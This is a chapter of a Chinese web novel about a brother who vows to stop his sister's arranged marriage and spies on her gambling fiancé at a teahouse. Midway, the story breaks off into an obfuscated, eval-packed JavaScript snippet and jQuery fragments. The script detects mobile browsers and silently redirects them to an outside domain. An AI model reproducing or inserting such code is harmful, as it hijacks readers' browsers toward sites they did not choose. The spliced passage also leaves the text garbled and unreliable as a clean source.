薛嘉宜把唇抿得发白，明明那句“不想”已经盘桓在了嘴边，却有些说不出口。
从记事起，她便记得母亲是如何怨怼父亲，父亲又是如何冷落母亲，没可能对婚姻有什么期许。
可她做不了主，哥哥也做不了主，难道还要他一次次挡在她身前，然后带累他吗？
“哥……”薛嘉宜垂着眼帘道：“可我总要嫁人的呀。”
“是。”薛云朔没有回避这个问题，只一字一顿地道：“但是你不能嫁这样的人。”
他鲜少用这样命令的语气和她说话，薛嘉宜眨了眨还有些湿意的眼睫，故作轻松地道：“那哥哥觉得，我应该，选什么样的郎君？”
薛云朔避开她缓缓抬起的目光，绷着脸道：“这是另一回事。”
薛嘉宜拉长音调“哦”了一声：“那我以后……选个像哥哥一样的夫婿，可好？”
她的声音很轻、很软，却很认真。
乡间清苦的岁月里，他是她的兄长、是她的友人，也是她对于同龄男性，所有的认知和幻想。
薛云朔沉默一瞬，随即把本就冷峻的一张脸，板得更面无表情了。
“回答我，薛嘉宜。”他认真地唤她姓名：“这次你要是蒙混过去，我就……”
他原本想说句硬邦邦的话恐吓一下她，结果停顿了好一会儿，最后也只舍得撂出一句：“我就再也不管你了。”
眼看是躲不过去了，薛嘉宜咬了咬唇，终究还是说了实话：“我……不想嫁。”
这是她的终身大事，如果她有的选，又怎么会心甘情愿配一个烂人。
薛云朔等的也只是她这一句话而已。
闻言，他微微一笑，久违地伸出手，越过窗台，摸了摸她的发顶。
“好。我来想办法。”
见他说完，转身就走，薛嘉宜赶忙探身拦他：“哥，我话还没说完——”
生怕他不听似的，她急急说道：“我是不想嫁，可是，我也不想看到你为了我的事情，去争辩、去冒险。”
眼下的情况和在严州府时根本不一样，那时他还能凭借一时的孤勇和意气，挡在她的身前，可现在不同，她不能因为自己害了他。
见她几欲翻窗跳出来，薛云朔无奈，只得停步。
“我自有我的办法，”他只道：“你不必为我担心。”
薛嘉宜想了想，鼓起勇气道：“这也是我的事情，哥，既然我也想好了，那我们一起想办法。”
薛云朔微笑道好，随即又道：“别担心，我们才回来，两家也没有立即把婚约挑明。还有时间，还来得及。秦夫人那边，你应付着就好。”
这个“我们”让薛嘉宜感到安心了些，她重重点头，见他真的要离开了，又抓住他的手臂，吞吞吐吐地道：“哥，你可别莽撞。这里是京城，有王法的。”
薛云朔睨她一眼：“怎么，我干过什么杀人放火的事儿吗？”
见她一脸的欲言又止，他轻笑一声，还是安慰了一句：“放心，我有分寸。”
——
洗尘宴后，薛家为薛嘉宜，延请了从前在宗太妃宫中侍奉过的一位陈姓女官，来教授礼仪。
这位宗太妃于当今皇帝有抚养之恩，命还很长，皇帝如今都五十多了，她还活得很健朗。
能请来宫中的女官教导，也可以看出，薛家对于那一桩婚事的在意了。
另一边的薛云朔，也正式开始进学了，每日早间，和薛泓、薛泽两个弟弟一起，去到徐家的学塾里。
薛家新冒出来个儿子——还是长子，叫学塾里的一群半大郎君很是好奇。
不过薛云朔的表现实在是很冷漠，态度也是拒人千里之外的态度，在先生几番提问、他都表现得没什么错处之后，其他人就是连笑话他的心思都歇了，也懒得再分给这个不合群的人目光。
只有秦淑月的那个儿子薛泓，在渐渐察觉到这个突然多出来的长兄并非文墨不通之后，悄悄磨了磨牙，多看了他好几眼。
薛云朔浑然不在意，他从来没有融入谁的打算。
此生他在乎的人，唯有一个。
又花了几日功夫，摸清楚书塾里讲习的规律之后，这天下晌，薛云朔正打算趁先生不在的功夫溜出去，却忽然叫人拦住了。
薛泓挡在了薛云朔的去路之前，仿佛抓到了他的小辫子一般，跳脚道：“好哇！你逃学，我要告诉先生，回去之后，我还要告诉父亲！”
对于这个还没薛嘉宜高的异母弟弟，薛云朔无甚耐心，也并不在意，只乜他一眼，淡淡道：“可以。到时候父亲正好也和你谈一谈，你的功课是谁代做的。”
“你怎么知……”
薛泓大惊，随即捂住嘴收了声，只愤愤瞪他一眼。
……
悄悄离开徐家的族学之后，薛云朔孤身来到了城南，一处名唤“望春楼”的茶肆。
为免显得太年轻、太像学子，他换了一身墨色的圆领袍，叫了一壶茶水，安坐在大堂角落的位置。
这座茶肆生意红火得很，大堂里人声鼎沸，没有人在意一个形单影只的小郎君，即使有人觉得他样貌不俗，也至多多看两眼罢了。
薛云朔垂着眼帘，安静地注视着杯中的茶汤，余光，却一直落在毗邻的楼梯处。
茶肆没什么稀奇的，这座望春楼的生意能这么好，自然有它的独到之处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088593|179605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——
澧朝禁赌，天子脚下，更是没人敢堂而皇之地犯禁。只是这世上从不缺赌徒，而这望春楼，干的就是明修栈道、暗度陈仓的生意。
当然，这不算什么秘辛。既然敢赚这样的烫手的钱，背后必定是有人撑腰。
茶水斟到第二杯的时候，门口又来客了，薛云朔捏着杯壁，目光淡淡地望了过去。
是那位“魏衙内”，呼朋引伴地来了。
才到下午，也不知喝到几巡了，魏祺那张人模狗样的脸都泛着红。
他身边的狐朋狗友一面扶着他，一面奉承：“魏兄海量，我们真是拍马难及。”
这起子人都是熟客，小二眼睛一瞄，就知道该把他们往哪儿领了。
“诸位少爷，”小二躬着身，殷勤问道：“今日要大玩小玩？是推牌九，还是打关扑？”
魏祺颇为自得地笑了两声，昂首道：“当然玩儿大的！就打关扑！”
有与他关系尚佳的友人劝道：“关扑玩起来没个底儿，届时你爹知道了……”
魏祺不以为地一挥手，随即神秘兮兮地勾了他的脖子过来，很刻意地压低声音道：“没——关系。我就快娶亲了，当年的朱家女，你可知道？她唯一的女儿，嫁妆想来也丰厚……”
不远处的薛云朔，把魏祺的话悉数听了进去。
杯中清茶倒映出的眼底，阴翳闪现。
魏祺浑然不知，他一掸衣摆，又朝小厮颐指气使地道：“带路！小爷我今天要玩把大的！”
店小二甩了把汗巾，眉开眼笑地领着他们往上走。
薛云朔收回目光，平静地稍坐了一会儿。
窗外天色渐暗，他没有久留，叫来了店小二，指了指桌上未动的云片糕，吩咐道：“帮我打包。”
薛嘉宜爱吃这些小甜嘴，本就是给她点的，他不爱吃甜的。
小二很熟练，三两下就打包好了。
薛云朔从绳结处接过，微微颔首，道了声“有劳”。
天边，暮色四合。他才踏出这座望春楼没几步，忽然感觉背后，仿佛有谁在盯着他。
山林间打猎留下的直觉犹在，薛云朔脚步微顿，一面继续往前走，一面不动声色地偏过头，往回看去。
……没有什么异样。
是多心了吗？
薛云朔扬了扬眉，提着云片糕，走了。
望春楼二楼靠窗的雅座，一个约莫三十来岁的英武男子，正看着他离开的方向。
“爹，你有没有觉着，方才路过的那小子，看着有些面熟？就像是……哪里见过。”
男人的话音稍一停顿，旋即伸出食指，往皇宫的方向，虚虚一指。